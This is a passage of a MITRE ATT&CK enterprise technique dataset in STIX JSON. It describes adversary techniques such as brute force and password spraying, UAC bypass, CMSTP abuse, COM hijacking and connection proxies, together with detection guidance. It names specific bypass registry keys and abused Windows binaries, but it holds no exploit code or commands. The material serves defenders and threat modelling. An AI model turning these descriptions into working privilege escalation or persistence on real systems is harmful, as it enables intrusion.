            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Brute Force",
            "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\n[Credential Dumping](https://attack.mitre.org/techniques/T1003) to obtain password hashes may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)",
            "external_references": [
                {
                    "external_id": "T1110",
                    "url": "https://attack.mitre.org/techniques/T1110",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Password_cracking",
                    "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
                    "source_name": "Wikipedia Password cracking"
                },
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "source_name": "Cylance Cleaver"
                },
                {
                    "url": "http://www.blackhillsinfosec.com/?p=4645",
                    "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.",
                    "source_name": "BlackHillsInfosec Password Spraying"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "John Strand"
            ],
            "x_mitre_data_sources": [
                "Authentication logs"
            ],
            "x_mitre_detection": "It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:22.767Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bypass User Account Control",
            "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)",
            "external_references": [
                {
                    "external_id": "T1088",
                    "url": "https://attack.mitre.org/techniques/T1088",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "source_name": "Davidson Windows"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "source_name": "TechNet How UAC Works"
                },
                {
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "source_name": "SANS UAC Bypass"
                },
                {
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "source_name": "TechNet Inside UAC"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "source_name": "MSDN COM Elevation"
                },
                {
                    "url": "https://github.com/hfiref0x/UACME",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "source_name": "Github UACMe"
                },
                {
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "source_name": "enigma0x3 Fileless UAC Bypass"
                },
                {
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "source_name": "Fortinet Fareit"
                },
                {
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "source_name": "enigma0x3 sdclt app paths"
                },
                {
                    "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
                    "source_name": "enigma0x3 sdclt bypass"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Casey Smith"
            ],
            "x_mitre_data_sources": [
                "System calls",
                "Process monitoring",
                "Authentication logs",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Windows User Account Control"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
            "x_mitre_effective_permissions": [
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:07.462Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "CMSTP",
            "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017)  and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
            "external_references": [
                {
                    "external_id": "T1191",
                    "url": "https://attack.mitre.org/techniques/T1191",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
                    "source_name": "Microsoft Connection Manager Oct 2009"
                },
                {
                    "url": "https://twitter.com/ItsReallyNick/status/958789644165894146",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.",
                    "source_name": "Twitter CMSTP Usage Jan 2018"
                },
                {
                    "url": "https://msitpros.com/?p=3960",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "source_name": "MSitPros CMSTP Aug 2017"
                },
                {
                    "url": "https://twitter.com/NickTyrer/status/958450014111633408",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.",
                    "source_name": "Twitter CMSTP Jan 2018"
                },
                {
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "source_name": "GitHub Ultimate AppLocker Bypass List"
                },
                {
                    "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.",
                    "source_name": "Endurant CMSTP July 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank",
                "Nik Seetharaman, Palantir"
            ],
            "x_mitre_data_sources": [
                "Process Monitoring",
                "Process command-line parameters",
                "Process use of network",
                "Windows event logs"
            ],
            "x_mitre_defense_bypassed": [
                "Application whitelisting",
                "Anti-virus"
            ],
            "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Change Default File Association",
            "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
            "external_references": [
                {
                    "external_id": "T1042",
                    "url": "https://attack.mitre.org/techniques/T1042",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-556",
                    "url": "https://capec.mitre.org/data/definitions/556.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
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                },
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                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
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                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
                    "source_name": "Microsoft Assoc Oct 2017"
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                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012"
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                "Process monitoring",
                "Process command-line parameters"
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                    "url": "https://attack.mitre.org/techniques/T1115",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://msdn.microsoft.com/en-us/library/ms649012",
                    "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
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                    "url": "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/",
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                "macOS"
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                    "source_name": "mitre-attack"
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                    "url": "https://en.wikipedia.org/wiki/Code_signing",
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                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
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                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
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                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
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                    "url": "https://attack.mitre.org/techniques/T1059",
                    "source_name": "mitre-attack"
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                    "url": "https://en.wikipedia.org/wiki/Command-line_interface",
                    "description": "Wikipedia. (2016, June 26). Command-line interface. Retrieved June 27, 2016.",
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                    "url": "https://attack.mitre.org/techniques/T1043",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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                    "url": "https://attack.mitre.org/techniques/T1092",
                    "source_name": "mitre-attack"
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            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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                    "source_name": "mitre-attack"
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                    "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.",
                    "source_name": "Microsoft HTML Help ActiveX"
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                    "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.",
                    "source_name": "Microsoft HTML Help Executable Program"
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                    "url": "https://msitpros.com/?p=3909",
                    "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.",
                    "source_name": "MsitPros CHM Aug 2017"
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                    "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625",
                    "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.",
                    "source_name": "Microsoft CVE-2017-8625 Aug 2017"
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                "Process Monitoring",
                "Process command-line parameters"
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            "x_mitre_defense_bypassed": [
                "Application whitelisting"
            ],
            "x_mitre_detection": "Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.",
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            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
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                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
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            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
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                    "source_name": "mitre-attack"
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                    "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
                    "source_name": "ITWorld Hard Disk Health Dec 2014"
                },
                {
                    "url": "https://www.smartmontools.org/",
                    "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
                    "source_name": "SmartMontools"
                },
                {
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.",
                    "source_name": "SanDisk SMART"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Disk Forensics",
                "API monitoring",
                "Process Monitoring",
                "Component Firmware"
            ],
            "x_mitre_defense_bypassed": [
                "File monitoring",
                "Host intrusion prevention systems",
                "Anti-virus"
            ],
            "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
            "x_mitre_permissions_required": [
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Ability to update component device firmware from the host operating system."
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:22.374Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Component Object Model Hijacking",
            "description": "The  (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.",
            "external_references": [
                {
                    "external_id": "T1122",
                    "url": "https://attack.mitre.org/techniques/T1122",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "source_name": "Microsoft Component Object Model"
                },
                {
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "source_name": "GDATA COM Hijacking"
                },
                {
                    "url": "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "source_name": "Endgame COM Hijacking"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "ENDGAME"
            ],
            "x_mitre_data_sources": [
                "Windows Registry",
                "DLL monitoring",
                "Loaded DLLs"
            ],
            "x_mitre_defense_bypassed": [
                "Autoruns Analysis"
            ],
            "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:33.979Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Connection Proxy",
            "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.",
            "external_references": [
                {
                    "external_id": "T1090",
                    "url": "https://attack.mitre.org/techniques/T1090",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "source_name": "Trend Micro APT Attack Tools"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Walker Johnson"
            ],
            "x_mitre_data_sources": [
                "Process use of network",
                "Process monitoring",
                "Netflow/Enclave netflow",
                "Packet capture"
            ],
            "x_mitre_detection": "Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:08.479Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Control Panel Items",
